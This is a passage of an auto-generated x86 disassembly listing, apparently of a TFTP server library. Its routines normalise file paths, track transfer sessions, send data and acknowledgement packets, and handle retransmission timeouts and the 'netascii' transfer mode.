		jz	short loc_1002684
		cmp	dl, 2Fh
		jnz	short loc_1002703


loc_1002684:				; CODE XREF: sub_100261E+5Fj
		dec	esi
		mov	ecx, edi
		dec	esi
		cmp	esi, ebx
		jbe	short loc_10026E0


loc_100268C:				; CODE XREF: sub_100261E+7Bj
		mov	al, [esi]
		cmp	al, 5Ch
		jz	short loc_100269B
		cmp	al, 2Fh
		jz	short loc_100269B
		dec	esi
		cmp	esi, ebx
		jnb	short loc_100268C


loc_100269B:				; CODE XREF: sub_100261E+72j
					; sub_100261E+76j
		inc	esi


loc_100269C:				; CODE XREF: sub_100261E+8Ej
					; sub_100261E+EEj ...
		cmp	esi, [ebp+arg_0]
		jbe	short loc_10026AE
		cmp	byte ptr [esi-1], 20h
		lea	eax, [esi-1]
		jnz	short loc_10026AE
		mov	esi, eax
		jmp	short loc_100269C
; ---------------------------------------------------------------------------


loc_10026AE:				; CODE XREF: sub_100261E+81j
					; sub_100261E+8Aj
		mov	al, [ecx]
		cmp	al, 5Ch
		jz	short loc_10026B8
		cmp	al, 2Fh
		jnz	short loc_1002642


loc_10026B8:				; CODE XREF: sub_100261E+94j
		cmp	esi, ebx
		jz	short loc_10026CB
		mov	al, [esi-1]
		cmp	al, 5Ch
		jz	short loc_10026CB
		cmp	al, 2Fh
		jz	short loc_10026CB
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_10026CB:				; CODE XREF: sub_100261E+9Cj
					; sub_100261E+A3j ...
		inc	ecx
		jz	short loc_10026D8
		mov	al, [ecx]
		cmp	al, 5Ch
		jz	short loc_10026CB
		cmp	al, 2Fh
		jz	short loc_10026CB


loc_10026D8:				; CODE XREF: sub_100261E+AEj
		mov	[ebp+arg_0], esi
		jmp	loc_1002642
; ---------------------------------------------------------------------------


loc_10026E0:				; CODE XREF: sub_100261E+6Cj
		xor	eax, eax
		jmp	short loc_10026FC
; ---------------------------------------------------------------------------


loc_10026E4:				; CODE XREF: sub_100261E+28j
		mov	cl, [esi-1]
		lea	eax, [esi-1]
		cmp	cl, 5Ch
		jz	short loc_10026F4
		cmp	cl, 2Fh
		jnz	short loc_10026F6


loc_10026F4:				; CODE XREF: sub_100261E+CFj
		mov	esi, eax


loc_10026F6:				; CODE XREF: sub_100261E+D4j
		and	byte ptr [esi],	0
		push	1
		pop	eax


loc_10026FC:				; CODE XREF: sub_100261E+C4j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_1002703:				; CODE XREF: sub_100261E+50j
					; sub_100261E+64j ...
		mov	[esi], al
		mov	al, [ecx+1]
		inc	esi
		inc	ecx
		test	al, al
		jz	short loc_100269C
		cmp	al, 5Ch
		jz	short loc_100269C
		cmp	al, 2Fh
		jnz	short loc_1002703
		jmp	short loc_100269C
; ---------------------------------------------------------------------------


loc_1002718:				; CODE XREF: sub_100261E+3Fj
					; sub_100261E+48j
		mov	ecx, edi
		jmp	short loc_100269C
; ---------------------------------------------------------------------------


loc_100271C:				; CODE XREF: sub_100261E+30j
					; sub_100261E+11Dj
		test	al, al
		jz	loc_100269C
		cmp	al, 5Ch
		jz	loc_100269C
		cmp	al, 2Fh
		jz	loc_100269C
		mov	[esi], al
		mov	al, [ecx+1]
		inc	esi
		inc	ecx
		jmp	short loc_100271C
sub_100261E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100273D	proc near		; CODE XREF: sub_1002F31+18Cp
					; sub_100333A+197p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	edx, [ebp+arg_0]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, edx
		mov	ebx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		cmp	byte ptr [ebx+esi-1], 5Ch
		mov	edi, ecx
		setz	al
		xor	ecx, ecx
		cmp	byte ptr [edx],	5Ch
		setz	cl
		test	eax, eax
		jnz	short loc_1002784
		test	ecx, ecx
		jnz	short loc_1002784
		mov	[ebp+arg_8], 1
		jmp	short loc_1002791
; ---------------------------------------------------------------------------


loc_1002784:				; CODE XREF: sub_100273D+38j
					; sub_100273D+3Cj
		and	[ebp+arg_8], 0
		test	eax, eax
		jz	short loc_1002791
		test	ecx, ecx
		jz	short loc_1002791
		dec	ebx


loc_1002791:				; CODE XREF: sub_100273D+45j
					; sub_100273D+4Dj ...
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_4]
		add	eax, edi
		add	eax, ebx
		dec	ecx
		cmp	eax, ecx
		jbe	short loc_10027A4
		xor	eax, eax
		jmp	short loc_10027DA
; ---------------------------------------------------------------------------


loc_10027A4:				; CODE XREF: sub_100273D+61j
		mov	eax, [ebp+arg_8]
		inc	edi
		add	eax, ebx
		push	edi
		add	eax, edx
		push	edx
		push	eax
		call	ds:dword_1001144
		mov	eax, [ebp+arg_0]
		mov	ecx, ebx
		mov	edx, ecx
		mov	edi, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		add	esp, 0Ch
		and	ecx, 3
		cmp	[ebp+arg_8], 0
		rep movsb
		jz	short loc_10027D7
		mov	byte ptr [ebx+eax], 5Ch


loc_10027D7:				; CODE XREF: sub_100273D+94j
		push	1
		pop	eax


loc_10027DA:				; CODE XREF: sub_100273D+65j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_100273D	endp


; =============== S U B	R O U T	I N E =======================================



sub_10027E1	proc near		; CODE XREF: sub_1002B5E+C7p
					; sub_1002F31+36Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	ecx, [esi+10024h]
		lea	eax, [esi+10024h]
		test	ecx, ecx
		jz	short loc_1002817
		and	dword ptr [eax], 0
		mov	eax, [esp+8+arg_4]
		and	word ptr [esi+10014h], 0
		mov	[esi+10020h], ecx
		mov	eax, [eax+20h]
		mov	[esi+1001Ch], eax
		jmp	short loc_1002877
; ---------------------------------------------------------------------------


loc_1002817:				; CODE XREF: sub_10027E1+14j
		mov	edi, ds:dword_1001104
		push	3
		call	edi ; dword_1001104
		mov	[esi+38h], ax
		mov	ax, [esi+10014h]
		push	eax
		call	edi ; dword_1001104
		mov	[esi+3Ah], ax
		mov	eax, [esp+8+arg_4]
		push	dword ptr [eax+20h]
		lea	eax, [esi+3Ch]
		push	eax
		push	dword ptr [esi+1002Ch]
		call	ds:dword_1001090
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[esi+1001Ch], eax
		jnz	short loc_100286E
		mov	esi, ds:dword_10010AC
		call	esi ; dword_10010AC
		call	esi ; dword_10010AC
		push	dword ptr [eax]
		call	ds:dword_100102C
		xor	eax, eax
		jmp	short loc_100287A
; ---------------------------------------------------------------------------


loc_100286E:				; CODE XREF: sub_10027E1+75j
		add	eax, 4
		mov	[esi+10020h], eax


loc_1002877:				; CODE XREF: sub_10027E1+34j
		push	1
		pop	eax


loc_100287A:				; CODE XREF: sub_10027E1+8Bj
		pop	edi
		pop	esi
		retn	8
sub_10027E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_100287F	proc near		; CODE XREF: sub_1002F31+2C6p
					; sub_100333A+2CDp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset dword_1006080
		push	esi
		call	ds:dword_1001058
		mov	ecx, dword_1006098
		push	esi
		mov	eax, [esp+8+arg_0]
		mov	[eax], ecx
		mov	dword ptr [eax+4], offset dword_1006098
		mov	[ecx+4], eax
		mov	dword_1006098, eax
		call	ds:dword_100104C
		push	1
		pop	eax
		pop	esi
		retn	4
sub_100287F	endp


; =============== S U B	R O U T	I N E =======================================



sub_10028B5	proc near		; CODE XREF: sub_1002A3D+Cp
					; sub_1002EC8+8p ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, ds:dword_1001058
		push	esi
		push	edi
		mov	edi, offset dword_1006080
		push	edi
		call	ebx ; dword_1001058
		mov	eax, dword_1006098
		mov	ecx, offset dword_1006098


loc_10028D0:				; CODE XREF: sub_10028B5+2Dj
		cmp	eax, ecx
		jz	short loc_10028F2
		mov	edx, [eax+8]
		lea	esi, [eax-18h]
		cmp	edx, [esp+0Ch+arg_0]
		jz	short loc_10028E4
		mov	eax, [eax]
		jmp	short loc_10028D0
; ---------------------------------------------------------------------------


loc_10028E4:				; CODE XREF: sub_10028B5+29j
		push	esi
		call	ebx ; dword_1001058
		push	edi
		call	ds:dword_100104C
		mov	eax, esi
		jmp	short loc_10028FB
; ---------------------------------------------------------------------------


loc_10028F2:				; CODE XREF: sub_10028B5+1Dj
		push	edi
		call	ds:dword_100104C
		xor	eax, eax


loc_10028FB:				; CODE XREF: sub_10028B5+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_10028B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_1002901	proc near		; CODE XREF: sub_100297A+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+20h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_1002915
		push	eax
		call	ds:dword_100111C


loc_1002915:				; CODE XREF: sub_1002901+Bj
		mov	eax, [esi+10004h]
		test	eax, eax
		jz	short loc_100292E
		push	0
		push	eax
		push	dword_10060A0
		call	ds:dword_1001158


loc_100292E:				; CODE XREF: sub_1002901+1Cj
		push	0
		push	dword ptr [esi+0FFFCh]
		call	ds:dword_1001168
		push	dword ptr [esi+0FFF8h]
		call	ds:dword_1001054
		push	esi
		call	ds:dword_1001028
		pop	esi
		retn	4
sub_1002901	endp


; =============== S U B	R O U T	I N E =======================================



sub_1002953	proc near		; CODE XREF: sub_100297A+2Fp
					; sub_100297A+37p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+1002Ch]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_100296B
		push	eax
		call	ds:dword_100108C
		pop	ecx


loc_100296B:				; CODE XREF: sub_1002953+Ej
		push	esi
		call	ds:dword_10010A0
		pop	ecx
		pop	esi
		retn	4
sub_1002953	endp

; [00000003 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_100297A	proc near		; CODE XREF: sub_10029BA+55p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_10029B6
		push	esi
		call	sub_1002901
		mov	eax, [esi+24h]
		dec	eax
		jz	short loc_10029B0
		dec	eax
		jz	short loc_10029A8
		dec	eax
		jz	short loc_10029A0
		dec	eax
		jnz	short loc_10029B6
		push	esi
		call	nullsub_1
		jmp	short loc_10029B6
; ---------------------------------------------------------------------------


loc_10029A0:				; CODE XREF: sub_100297A+19j
		push	esi
		call	nullsub_1
		jmp	short loc_10029B6
; ---------------------------------------------------------------------------


loc_10029A8:				; CODE XREF: sub_100297A+16j
		push	esi
		call	sub_1002953
		jmp	short loc_10029B6
; ---------------------------------------------------------------------------


loc_10029B0:				; CODE XREF: sub_100297A+13j
		push	esi
		call	sub_1002953


loc_10029B6:				; CODE XREF: sub_100297A+7j
					; sub_100297A+1Cj ...
		pop	esi
		retn	4
sub_100297A	endp


; =============== S U B	R O U T	I N E =======================================



sub_10029BA	proc near		; DATA XREF: sub_10018DB+98o
		push	ebx
		mov	ebx, ds:dword_1001058
		push	esi
		push	offset dword_1006080
		call	ebx ; dword_1001058
		mov	esi, dword_1006098
		cmp	esi, offset dword_1006098
		jz	short loc_1002A28
		push	edi
		push	ebp


loc_10029D9:				; CODE XREF: sub_10029BA+6Aj
		lea	edi, [esi-18h]
		push	edi
		call	ebx ; dword_1001058
		mov	ebp, [esi]
		inc	dword ptr [edi+10008h]
		cmp	dword ptr [edi+10008h],	4
		lea	eax, [edi+10008h]
		push	edi
		jb	short loc_1002A16
		call	ebx ; dword_1001058
		mov	eax, [esi]
		mov	esi, [esi+4]
		mov	[esi], eax
		mov	[eax+4], esi
		mov	ax, [edi+2Ah]
		push	eax
		call	ds:dword_1001104
		push	edi
		call	sub_100297A
		jmp	short loc_1002A1C
; ---------------------------------------------------------------------------


loc_1002A16:				; CODE XREF: sub_10029BA+3Bj
		call	ds:dword_100104C


loc_1002A1C:				; CODE XREF: sub_10029BA+5Aj
		cmp	ebp, offset dword_1006098
		mov	esi, ebp
		jnz	short loc_10029D9
		pop	ebp
		pop	edi


loc_1002A28:				; CODE XREF: sub_10029BA+1Bj
		push	offset dword_1006080
		call	ds:dword_100104C
		call	sub_1001A1F
		pop	esi
		pop	ebx
		retn	8
sub_10029BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1002A3D	proc near		; DATA XREF: sub_1002F31+341o
					; sub_100333A+32Co

var_10		= byte ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_10028B5
		mov	esi, eax
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_1002B57
		mov	eax, [esi+1000Ch]
		cmp	eax, 0Ah
		jnb	loc_1002B0B
		cmp	eax, 5
		jbe	short loc_1002A8E
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_1001024
		mov	ax, [esi+2Ah]
		push	eax
		call	ds:dword_100110C
		mov	ax, [esi+3Ah]
		push	eax
		call	ds:dword_1001104


loc_1002A8E:				; CODE XREF: sub_1002A3D+2Fj
		lea	eax, [esi+28h]
		push	10h
		push	eax
		push	ebx
		push	dword ptr [esi+10020h]
		lea	eax, [esi+38h]
		push	eax
		push	dword ptr [esi+20h]
		call	ds:dword_1001130
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_1002AB3
		call	ds:dword_10010F8


loc_1002AB3:				; CODE XREF: sub_1002A3D+6Ej
		mov	edi, [esi+10004h]
		inc	dword ptr [esi+1000Ch]
		cmp	edi, ebx
		jz	loc_1002B4C
		cmp	[esi+10028h], ebx
		jnz	short loc_1002AEA
		mov	eax, [esi+10000h]
		lea	ecx, [esi+10000h]
		shl	eax, 1
		mov	edx, 2710h
		mov	[ecx], eax
		cmp	eax, edx
		jbe	short loc_1002AEA
		mov	[ecx], edx


loc_1002AEA:				; CODE XREF: sub_1002A3D+90j
					; sub_1002A3D+A9j
		mov	eax, [esi+10000h]
		push	eax
		push	eax
		push	edi
		push	dword_10060A0
		call	ds:dword_1001154
		cmp	eax, ebx
		jz	short loc_1002B4C
		call	ds:dword_1001038
		jmp	short loc_1002B4C
; ---------------------------------------------------------------------------


loc_1002B0B:				; CODE XREF: sub_1002A3D+26j
		cmp	esi, ebx
		jz	short loc_1002B57
		push	offset aTimeout	; "Timeout"
		push	ebx
		push	dword ptr [esi+20h]
		lea	eax, [esi+28h]
		push	ebx
		push	eax
		call	sub_100230A
		mov	eax, [esi+10004h]
		lea	edi, [esi+10004h]
		cmp	eax, ebx
		jz	short loc_1002B40
		push	ebx
		push	eax
		push	dword_10060A0
		call	ds:dword_1001158


loc_1002B40:				; CODE XREF: sub_1002A3D+F3j
		mov	[edi], ebx
		mov	dword ptr [esi+10008h],	4


loc_1002B4C:				; CODE XREF: sub_1002A3D+84j
					; sub_1002A3D+C4j ...
		cmp	esi, ebx
		jz	short loc_1002B57
		push	esi
		call	ds:dword_100104C


loc_1002B57:				; CODE XREF: sub_1002A3D+17j
					; sub_1002A3D+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_1002A3D	endp


; =============== S U B	R O U T	I N E =======================================



sub_1002B5E	proc near		; CODE XREF: sub_1002EC8+3Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		mov	ebx, ds:dword_100110C
		push	ebp
		push	esi
		mov	esi, [esp+10h+arg_0]
		push	edi
		mov	edi, [esp+14h+arg_4]
		xor	ebp, ebp
		mov	eax, [esi+10018h]
		push	4
		mov	[esp+18h+var_4], ebp
		mov	[edi+20h], eax
		call	ebx ; dword_100110C
		cmp	[edi+34h], ax
		jnz	short loc_1002BA6
		mov	ax, [esi+10014h]
		push	eax
		call	ebx ; dword_100110C
		cmp	[edi+36h], ax
		jnz	short loc_1002BA6
		and	dword ptr [esi+1000Ch],	0
		push	1
		pop	ebp
		jmp	short loc_1002BCE
; ---------------------------------------------------------------------------


loc_1002BA6:				; CODE XREF: sub_1002B5E+2Aj
					; sub_1002B5E+3Aj
		mov	ax, [edi+36h]
		push	eax
		call	ebx ; dword_100110C
		mov	ax, [edi+34h]
		push	eax
		call	ds:dword_1001104
		push	4
		call	ebx ; dword_100110C
		cmp	[edi+34h], ax
		jnz	short loc_1002BCE
		mov	ax, [esi+10014h]
		dec	ax
		push	eax
		call	ebx ; dword_100110C


loc_1002BCE:				; CODE XREF: sub_1002B5E+46j
					; sub_1002B5E+62j
		test	ebp, ebp
		jz	loc_1002C96
		cmp	dword ptr [esi+10030h],	0
		jz	short loc_1002C1C
		mov	eax, [esi+10004h]
		lea	edi, [esi+10004h]
		test	eax, eax
		jz	short loc_1002BFE
		push	0
		push	eax
		push	dword_10060A0
		call	ds:dword_1001158


loc_1002BFE:				; CODE XREF: sub_1002B5E+8Fj
		and	dword ptr [edi], 0
		mov	dword ptr [esi+10008h],	4


loc_1002C0B:				; CODE XREF: sub_1002B5E+DBj
					; sub_1002B5E+13Ej ...
		push	esi
		call	ds:dword_100104C
		xor	eax, eax


loc_1002C14:				; CODE XREF: sub_1002B5E+183j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_1002C1C:				; CODE XREF: sub_1002B5E+7Fj
		inc	word ptr [esi+10014h]
		push	edi
		push	esi
		call	sub_10027E1
		mov	ebp, eax
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_1002C3B
		mov	ax, [edi+0Eh]
		push	eax
		call	ebx ; dword_100110C
		jmp	short loc_1002C0B
; ---------------------------------------------------------------------------


loc_1002C3B:				; CODE XREF: sub_1002B5E+D2j
		cmp	[esi+10028h], eax
		mov	[esi+1000Ch], eax
		mov	[esi+10008h], eax
		jnz	short loc_1002C59
		mov	dword ptr [esi+10000h],	3E8h


loc_1002C59:				; CODE XREF: sub_1002B5E+EFj
		mov	ecx, [esi+10004h]
		cmp	ecx, eax
		jz	short loc_1002C78
		mov	eax, [esi+10000h]
		push	eax
		push	eax
		push	ecx
		push	dword_10060A0
		call	ds:dword_1001154


loc_1002C78:				; CODE XREF: sub_1002B5E+103j
		mov	eax, [esi+1001Ch]
		cmp	eax, [edi+20h]
		jnb	short loc_1002C9A
		mov	ax, [edi+0Eh]
		push	eax
		call	ebx ; dword_100110C
		mov	dword ptr [esi+10030h],	1
		jmp	short loc_1002C9A
; ---------------------------------------------------------------------------


loc_1002C96:				; CODE XREF: sub_1002B5E+72j
		mov	ebp, [esp+14h+var_4]


loc_1002C9A:				; CODE XREF: sub_1002B5E+123j
					; sub_1002B5E+136j
		test	ebp, ebp
		jz	loc_1002C0B
		mov	ax, [edi+0Eh]
		push	eax
		call	ebx ; dword_100110C
		add	edi, 0Ch
		push	10h
		push	edi
		push	0
		push	dword ptr [esi+10020h]
		lea	eax, [esi+38h]
		push	eax
		push	dword ptr [esi+20h]
		call	ds:dword_1001130
		cmp	eax, 0FFFFFFFFh
		jnz	loc_1002C0B
		call	ds:dword_10010F8
		test	esi, esi
		jz	short loc_1002CDE
		push	esi
		call	ds:dword_100104C


loc_1002CDE:				; CODE XREF: sub_1002B5E+177j
		push	1
		pop	eax
		jmp	loc_1002C14
sub_1002B5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1002CE6	proc near		; CODE XREF: sub_1002EC8+34p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, ds:dword_100110C
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		push	3
		mov	eax, [esi+10018h]
		mov	[edi+20h], eax
		call	ebx ; dword_100110C
		cmp	[edi+34h], ax
		jnz	short loc_1002D3A
		mov	ax, [esi+10014h]
		inc	ax
		push	eax
		call	ebx ; dword_100110C
		cmp	[edi+36h], ax
		jnz	short loc_1002D3A
		inc	word ptr [esi+10014h]
		xor	ebx, ebx
		mov	[ebp+var_4], 1
		mov	[esi+10008h], ebx
		jmp	short loc_1002D9D
; ---------------------------------------------------------------------------


loc_1002D3A:				; CODE XREF: sub_1002CE6+28j
					; sub_1002CE6+3Aj
		push	3
		call	ebx ; dword_100110C
		cmp	[edi+34h], ax
		jnz	short loc_1002D9B
		mov	ax, [esi+10014h]
		push	eax
		call	ebx ; dword_100110C
		cmp	[edi+36h], ax
		jnz	short loc_1002D9B
		mov	ebx, ds:dword_1001104
		push	4
		call	ebx ; dword_1001104
		mov	[esi+38h], ax
		mov	ax, [esi+10014h]
		push	eax
		call	ebx ; dword_1001104
		add	edi, 0Ch
		push	10h
		mov	[esi+3Ah], ax
		push	edi
		push	0
		lea	eax, [esi+38h]
		push	4
		push	eax
		push	dword ptr [esi+20h]
		call	ds:dword_1001130
		cmp	eax, 0FFFFFFFFh
		jnz	loc_1002EB3
		call	ds:dword_10010F8
		jmp	loc_1002EB3
; ---------------------------------------------------------------------------


loc_1002D9B:				; CODE XREF: sub_1002CE6+5Cj
					; sub_1002CE6+6Cj
		xor	ebx, ebx


loc_1002D9D:				; CODE XREF: sub_1002CE6+52j
		cmp	[ebp+var_4], ebx
		jz	short loc_1002DE4
		lea	eax, [ebp+arg_4]
		push	eax
		mov	eax, [edi+2Ch]
		push	dword ptr [esi+10030h]
		sub	eax, 4
		push	eax
		lea	eax, [edi+38h]
		push	eax
		push	dword ptr [esi+1002Ch]
		call	sub_100373A
		cmp	[ebp+var_4], ebx
		mov	[ebp+arg_0], eax
		jz	short loc_1002DE4
		cmp	eax, ebx
		jge	short loc_1002DF7
		push	ebx
		push	3
		push	dword ptr [edi+8]
		lea	eax, [edi+0FFF1h]
		add	edi, 0Ch
		push	eax
		push	edi
		call	sub_100230A


loc_1002DE4:				; CODE XREF: sub_1002CE6+BAj
					; sub_1002CE6+E2j
		cmp	esi, ebx
		jz	short loc_1002DEF
		push	esi
		call	ds:dword_100104C


loc_1002DEF:				; CODE XREF: sub_1002CE6+100j
		push	1
		pop	eax
		jmp	loc_1002EBC
; ---------------------------------------------------------------------------


loc_1002DF7:				; CODE XREF: sub_1002CE6+E6j
		mov	eax, [edi+2Ch]
		sub	eax, 4
		cmp	eax, [edi+20h]
		ja	loc_1002EB3
		mov	ebx, ds:dword_1001104
		push	4
		call	ebx ; dword_1001104
		mov	[esi+38h], ax
		mov	ax, [esi+10014h]
		push	eax
		call	ebx ; dword_1001104
		mov	[esi+3Ah], ax
		lea	eax, [edi+0Ch]
		push	10h
		xor	ebx, ebx
		push	eax
		push	ebx
		lea	eax, [esi+38h]
		push	4
		push	eax
		push	dword ptr [esi+20h]
		call	ds:dword_1001130
		mov	[ebp+arg_0], eax
		mov	eax, [esi+10004h]
		cmp	eax, ebx
		jz	short loc_1002E74
		cmp	[esi+10028h], ebx
		mov	[esi+1000Ch], ebx
		jnz	short loc_1002E5F
		mov	dword ptr [esi+10000h],	3E8h


loc_1002E5F:				; CODE XREF: sub_1002CE6+16Dj
		mov	ecx, [esi+10000h]
		push	ecx
		push	ecx
		push	eax
		push	dword_10060A0
		call	ds:dword_1001154


loc_1002E74:				; CODE XREF: sub_1002CE6+15Fj
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_1002E80
		call	ds:dword_10010F8


loc_1002E80:				; CODE XREF: sub_1002CE6+192j
		mov	eax, [edi+2Ch]
		sub	eax, 4
		cmp	eax, [edi+20h]
		jnb	short loc_1002EB3
		mov	eax, [esi+10004h]
		cmp	eax, ebx
		jz	short loc_1002EA3
		push	ebx
		push	eax
		push	dword_10060A0
		call	ds:dword_1001158


loc_1002EA3:				; CODE XREF: sub_1002CE6+1ADj
		mov	[esi+10004h], ebx
		mov	dword ptr [esi+10008h],	4


loc_1002EB3:				; CODE XREF: sub_1002CE6+A4j
					; sub_1002CE6+B0j ...
		push	esi
		call	ds:dword_100104C
		xor	eax, eax


loc_1002EBC:				; CODE XREF: sub_1002CE6+10Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_1002CE6	endp


; =============== S U B	R O U T	I N E =======================================



sub_1002EC3	proc near		; CODE XREF: sub_1002EC8+22p
					; sub_1002EC8+2Bp
		xor	eax, eax
		retn	8
sub_1002EC3	endp


; =============== S U B	R O U T	I N E =======================================



sub_1002EC8	proc near		; CODE XREF: sub_1001A91+254p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+8]
		call	sub_10028B5
		test	eax, eax
		jz	short loc_1002F0A
		mov	ecx, [eax+24h]
		dec	ecx
		jz	short loc_1002F03
		dec	ecx
		jz	short loc_1002EFA
		dec	ecx
		jz	short loc_1002EF1
		dec	ecx
		jnz	short loc_1002F0A
		push	esi
		push	eax
		call	sub_1002EC3
		jmp	short loc_1002F0A
; ---------------------------------------------------------------------------


loc_1002EF1:				; CODE XREF: sub_1002EC8+1Bj
		push	esi
		push	eax
		call	sub_1002EC3
		jmp	short loc_1002F0A
; ---------------------------------------------------------------------------


loc_1002EFA:				; CODE XREF: sub_1002EC8+18j
		push	esi
		push	eax
		call	sub_1002CE6
		jmp	short loc_1002F0A
; ---------------------------------------------------------------------------


loc_1002F03:				; CODE XREF: sub_1002EC8+15j
		push	esi
		push	eax
		call	sub_1002B5E


loc_1002F0A:				; CODE XREF: sub_1002EC8+Fj
					; sub_1002EC8+1Ej ...
		pop	esi
		retn	4
sub_1002EC8	endp


; =============== S U B	R O U T	I N E =======================================



sub_1002F0E	proc near		; CODE XREF: sub_1002F31+20p
					; sub_100333A+41p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		xor	eax, eax
		cmp	[esp+arg_4], eax
		jbe	short loc_1002F27


loc_1002F16:				; CODE XREF: sub_1002F0E+17j
		mov	ecx, [esp+arg_0]
		cmp	byte ptr [eax+ecx], 0
		jz	short loc_1002F2C
		inc	eax
		cmp	eax, [esp+arg_4]
		jb	short loc_1002F16


loc_1002F27:				; CODE XREF: sub_1002F0E+6j
		xor	eax, eax

locret_1002F29:				; CODE XREF: sub_1002F0E+21j
		retn	8
; ---------------------------------------------------------------------------


loc_1002F2C:				; CODE XREF: sub_1002F0E+10j
		push	1
		pop	eax
		jmp	short locret_1002F29
sub_1002F0E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1002F31	proc near		; CODE XREF: sub_1001A91+223p
					; DATA XREF: sub_1001A91+1FCo

var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		and	[ebp+var_10], 0
		and	[ebp+var_14], 0
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	0FFBAh
		lea	ebx, [esi+36h]
		push	ebx
		mov	[ebp+var_18], ebx
		call	sub_1002F0E
		test	eax, eax
		jz	loc_100330F
		mov	edi, ebx
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	10034h
		repne scasb
		not	ecx
		dec	ecx
		lea	eax, [ecx+ebx+1]
		mov	[ebp+var_4], eax
		call	ds:dword_1001094
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_1003331
		mov	ecx, 400Dh
		xor	eax, eax
		mov	edi, ebx
		rep stosd
		push	dword ptr [esi+10h]
		call	ds:dword_1001120
		mov	[ebp+var_8], eax
		mov	ax, [esi+0Eh]
		push	eax
		call	ds:dword_1001104
		mov	edi, [ebp+var_4]
		mov	[ebp+var_C], edi
		mov	al, [edi]
		test	al, al
		jz	short loc_1002FCD


loc_1002FB5:				; CODE XREF: sub_1002F31+97j
		movsx	eax, al
		push	eax
		call	ds:dword_1001150
		mov	[edi], al
		mov	al, [edi+1]
		inc	edi
		pop	ecx
		test	al, al
		jnz	short loc_1002FB5
		mov	[ebp+var_C], edi


loc_1002FCD:				; CODE XREF: sub_1002F31+82j
		mov	edi, [ebp+var_4]
		mov	eax, offset aNetascii ;	"netascii"


loc_1002FD5:				; CODE XREF: sub_1002F31+C0j
		mov	dl, [edi]
		mov	cl, dl
		cmp	dl, [eax]
		jnz	short loc_1002FF7
		test	cl, cl
		jz	short loc_1002FF3
		mov	dl, [edi+1]
		mov	cl, dl
		cmp	dl, [eax+1]
		jnz	short loc_1002FF7
		inc	edi
		inc	edi
		inc	eax
		inc	eax
		test	cl, cl
		jnz	short loc_1002FD5


loc_1002FF3:				; CODE XREF: sub_1002F31+AEj
		xor	eax, eax
		jmp	short loc_1002FFC
; ---------------------------------------------------------------------------


loc_1002FF7:				; CODE XREF: sub_1002F31+AAj
					; sub_1002F31+B8j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_1002FFC:				; CODE XREF: sub_1002F31+C4j
		test	eax, eax
		jz	short loc_1003037
		mov	edi, [ebp+var_4]
